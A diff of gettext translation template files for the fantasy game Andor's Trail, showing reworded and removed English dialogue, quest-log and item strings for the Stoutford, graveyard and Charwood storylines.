msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28430,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28442,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28462,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28972,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28988,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29006,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29026,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29038,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29230,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31150,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31206,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31218,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36218,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36250,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36258,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36274,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36834,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36854,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36865,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36873,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36890,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36986,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37712,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37720,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38127,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38144,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,18 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: 2018-08-18 10:16:00 UTC\n"
"PO-Revision-Date: \n"
"Last-Translator: Kevin Pohat <kpochat@gmail.com>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: [none]
msgid "translator-credits"
msgstr ""
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2871,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4647,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5585,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6764,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9404,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9561,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9599,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21507,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21791,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21809,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22298,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22323,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22339,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22349,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22379,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22388,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22421,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22433,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22489,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22497,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22509,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22646,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22655,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22680,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22716,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22931,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23033,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23068,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24301,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24483,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26190,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26198,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26259,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26293,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26344,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
